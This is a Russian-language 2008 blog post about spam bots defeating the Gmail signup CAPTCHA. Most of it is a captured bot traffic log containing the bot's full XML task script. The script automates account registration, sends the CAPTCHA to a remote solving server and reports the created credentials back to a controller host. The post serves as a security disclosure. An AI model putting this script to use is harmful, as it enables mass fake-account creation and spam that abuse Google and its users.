среда, 13 февраля 2008 г.

Бот взламывает CAPCHA Google mail

Сегодня на webplanet.ru появилась новость со ссылкой на блог компании Websense (http://webplanet.ru/news/security/2008/02/12/microcaptcha.html) об обходе спам-ботами капчи почтовой службы Microsoft. Мы располагаем материальными свидетельствами подобной техники, направленной против Google. Как это выглядит на самом деле? Вот запись веб-трафика бота:

GET /xxxxx/index.php?v=14 HTTP/1.1
Host: www.somehost.info
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/0.4.13
Date: Wed, 30 Jan 2008 15:50:15 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive


<?xml version="1.0"?>

<start>

<rules>
</rules>

<script>

<page id="start">

<data>
<var name="FirstName">John</var>
<var name="LastName">Doe</var>
<var name="Email">JohnDoe</var>
<var name="Passwd">gshhr83hf</var>
<var name="ownquestion">hhdsg abdke</var>
<var name="IdentityAnswer">nsfwlg fs</var>
<var name="task_id">629340</var>
</data>

<process>

<command action="navigate">
<args>
<url>http://m.gmail.com</url>
</args>
</command>


<command action="click_link_by_href">
<args>
<linkhref>logout</linkhref>
</args>
</command>


<!-- navigate to signup page -->
<command action="navigate">
<args>
<url>http://mail.google.com/mail/signup</url>
</args>
</command>



<!-- Do all the LONG and TEDIOUS inputting -->
<command action="input_by_name">
<args>
<name>FirstName</name>
<value>%getvar(FirstName)</value>
</args>
</command>

<command action="input_by_name">
<args>
<name>LastName</name>
<value>%getvar(LastName)</value>
</args>
</command>

<command action="input_by_name">
<args>
<name>Email</name>
<value>%getvar(Email)</value>
</args>
</command>

<command action="input_by_name">
<args>
<name>Passwd</name>
<value>%getvar(Passwd)</value>
</args>
</command>

<command action="input_by_name">
<args>
<name>PasswdAgain</name>
<value>%getvar(Passwd)</value>
</args>
</command>

<command action="select_option_by_name">
<args>
<name>selection</name>
<value>6</value>
</args>
</command>


<command action="input_by_name">
<args>
<name>ownquestion</name>
<value>%getvar(ownquestion)</value>
</args>
</command>

<command action="input_by_name">
<args>
<name>IdentityAnswer</name>
<value>%getvar(IdentityAnswer)</value>
</args>
</command>


<command action="captcha">
<args>

<regexp><![CDATA[alt="Visual verification"]]></regexp>
<posturl>http://www.somehost.info/ocr/xxxx/adddata_jpg_g.php?%getvar(task_id)|</posturl>
<geturl>http://www.somehost.info/ocr/xxxx/getdata.php?%getvar(task_id)|</geturl>
<interval>20</interval>
<timeout>180</timeout>
<base64>1</base64>
</args>
<!-- Failed to fetch Captcha for some reason (regexp wrong, humanocr down, etc), so quit -->
<error>quit_by_captcha</error>
<output>captcha_answer</output>
</command>

<command action="input_by_name">
<args>
<name>newaccountcaptcha</name>
<value>%getvar(captcha_answer)</value>
</args>
</command>


<command action="click_button_by_id">
<args>
<id>submitbutton</id>
</args>
<error>quit_by_submit</error>
</command>

<command action="knock">
<args>
<url>http://www.somehost.info/dummy.html?clicked_submit</url>
</args>
</command>


<command action="check_html">
<args>
<regexp><![CDATA[<a href="http://mail.google.com/gmail"]]></regexp>
</args>
<error>quit</error>
</command>


<command action="knock">
<args>
<url>http://www.somehost.info/xxxxx/gmail/iamalive.php?end|%getvar(Email)|%getvar(Passwd)|%getvar(task_id)</url>
</args>
</command>

<command action="knock">
<args>
<url>http://www.somehost.info/ocr/xxxx/good.php?%getvar(task_id)</url>
</args>
</command>

</process>
</page>

<page id="quit">
<process>
<!-- failed knock -->
<command action="knock">
<args>
<url>http://www.somehost.info/xxxxx/gmail/iamalive.php?quit|_by_html</url>
</args>
</command>
</process>
</page>

<page id="quit_captcha">
<process>
<!-- failed knock -->
<command action="knock">
<args>
<url>http://www.somehost.info/xxxxx/gmail/iamalive.php?quit|_by_captcha</url>
</args>
</command>
</process>
</page>

<page id="quit_by_submit">
<process>
<!-- failed knock -->
<command action="knock">
<args>
<url>http://www.somehost.info/xxxxx/gmail/iamalive.php?quit|bysubmit</url>
</args>
</command>
</process>
</page>

</script>

</start>

Вот таким образом сейчас обходятся самые распространенные спам-фильтры.
Отправить комментарий